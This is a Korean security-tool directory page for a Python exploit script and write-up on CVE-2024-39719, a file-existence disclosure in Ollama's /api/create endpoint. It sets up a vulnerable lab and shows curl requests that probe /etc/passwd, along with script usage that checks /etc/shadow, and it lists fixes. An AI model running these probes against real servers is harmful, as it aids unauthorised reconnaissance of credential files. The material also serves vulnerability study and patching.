Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-39719 — CVE-2024-39719를 위한 Python 익스플로잇 스크립트, Ollama의 파일 존재 여부 공개 취약점입니다. 서버 파일 경로를 탐지하기 위해 API 엔드포인트를 테스트하여 취약점 분석 및 침투 테스트에 도움을 줍니다. | Kitploit
도구/GitHubGitHub/srcx404/cve-2024-39719
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

CVE-2024-39719를 위한 Python 익스플로잇 스크립트, Ollama의 파일 존재 여부 공개 취약점입니다. 서버 파일 경로를 탐지하기 위해 API 엔드포인트를 테스트하여 취약점 분석 및 침투 테스트에 도움을 줍니다.

저장소 보기
21년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Ollama 파일 존재 노출 취약점 (CVE-2024-39719) 분석

中文

취약점 개요

CVE-2024-39719는 Ollama 버전 0.3.14 및 이전 버전에 영향을 미치는 파일 존재 노출 취약점입니다. 이 취약점으로 인해 공격자는 API 엔드포인트를 통해 서버상의 특정 파일 존재 여부를 탐지할 수 있으며, 잠재적으로 정보 유출로 이어질 수 있습니다.

공개일: 2024년 10월 31일

취약점 상세

근본 원인

취약점은 Ollama의 /api/create 엔드포인트에 존재합니다. 공격자가 경로 매개변수를 사용하여 CreateModel API를 호출하면, 서버는 해당 경로의 존재 여부에 따라 서로 다른 오류 메시지를 반환합니다. 이러한 동작으로 인해 공격자는 오류 메시지를 분석하여 서버에 특정 파일이나 디렉토리가 존재하는지 확인할 수 있습니다.

핵심 문제는 사용자 입력을 처리할 때 시스템이 경로 존재 정보를 적절히 숨기지 않고 파일 시스템 오류를 클라이언트에 직접 노출한다는 점입니다.

영향을 받는 버전

이 취약점은 Ollama 버전 0.3.14까지의 모든 버전에 영향을 미칩니다.

영향

파일 존재 노출 취약점은 처음에는 덜 심각해 보일 수 있지만, 다음과 같은 영향을 미칠 수 있습니다:

  1. 더 복잡한 공격의 사전 단계로 활용되어 공격자가 서버 정보를 수집하는 데 도움을 줍니다.
  • 중요한 구성 파일, 인증서 또는 민감한 데이터 파일의 존재를 탐지하는 데 사용될 수 있습니다.
  • 공격자가 보다 표적화된 공격을 수행하는 데 도움이 됩니다.
  • 특정 사용자나 시스템 특성의 존재를 확인하는 등 특정 환경에서 정보 유출로 이어질 수 있습니다.
  • 취약점 재현

    환경 설정

    1. 다음 Docker Compose 파일을 사용하여 취약한 Ollama 환경을 생성합니다:
    root@kitploit:~
    services:
      ollama:
        image: ollama/ollama:0.3.14
        container_name: ollama
        volumes:
          - ollama:/root/.ollama
        ports:
          - "11434:11434"
    
    volumes:
      ollama:
    
    1. 서비스를 시작합니다:
    root@kitploit:~
    docker compose up -d
    
    1. 서비스가 시작된 후 http://your-ip:11434/에 접속하여 Ollama 0.3.14가 실행 중인지 확인할 수 있습니다.

    재현 단계

    1. 존재하지 않는 파일 테스트

    존재하지 않는 파일에 접근을 시도하기 위해 curl을 사용하여 요청을 보냅니다:

    root@kitploit:~
    curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
    

    응답:

    root@kitploit:~
    {"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
    

    2. 존재하는 파일 테스트

    /etc/passwd와 같은 존재하는 파일을 테스트합니다:

    root@kitploit:~
    curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
    

    응답:

    root@kitploit:~
    {"error":"no FROM line for the model was specified"}
    

    이러한 서로 다른 오류 메시지를 분석함으로써 공격자는 대상 경로의 존재 여부를 확인하고 서버의 파일 구조에 대한 정보를 얻을 수 있습니다. 참고로 서버가 반환하는 정보는 버전에 따라 다를 수 있습니다.

    취약점 조치

    공식 수정

    Ollama는 최신 버전에서 이 취약점을 수정했습니다. 수정 사항은 다음과 같습니다:

    1. 파일 존재 정보 누출을 방지하기 위해 오류 처리를 표준화
    2. 사용자 제공 경로에 대한 더 엄격한 유효성 검사 및 필터링 구현
    3. 파일 시스템 정보를 직접 노출하지 않는 보다 일반적인 오류 메시지 사용

    권장 조치 단계

    1. Ollama 업그레이드: 가장 효과적인 해결책은 Ollama를 최신 버전으로 업그레이드하는 것입니다.
    2. 접근 제어: API 엔드포인트에 대한 접근을 제한하고 인증된 사용자만 허용합니다.
    3. 네트워크 격리: 가능한 경우 Ollama 서비스를 격리된 네트워크에 배포하여 외부 접근을 줄입니다.
    4. 모니터링: API 호출 모니터링을 강화하고, 특히 /api/create 엔드포인트에 대한 비정상적인 접근 패턴 탐지에 중점을 둡니다.

    익스플로잇 스크립트 사용법

    제공된 Python 스크립트를 사용하여 Ollama 서버가 CVE-2024-39719에 취약한지 테스트할 수 있습니다.

    요구 사항

    • Python 3.x
    • Required packages: requests, termcolor

    설치

    root@kitploit:~
    pip install requests termcolor
    

    사용법

    root@kitploit:~
    python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
    

    옵션

    • -u, --url: Ollama 서버의 URL (필수)
    • -f, --file: 존재 여부를 확인할 파일 (기본값: "/etc/passwd")

    예제

    root@kitploit:~
    # Check if a server is vulnerable
    python CVE_2024_39719.py -u http://your-ip:11434
    
    # Check if a specific file exists
    python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
    

    참고 자료

    • CVE-2024-39719 in the National Vulnerability Database
    • Ollama GitHub Repository
    • Ollama Security Advisories

    면책 조항

    이 스크립트는 교육 목적과 합법적인 보안 테스트를 위해서만 제공됩니다. 취약점을 테스트하기 전에 항상 적절한 권한이 있는지 확인하십시오. 무단 테스트는 법률 및 규정을 위반할 수 있습니다.

    도구 다운로드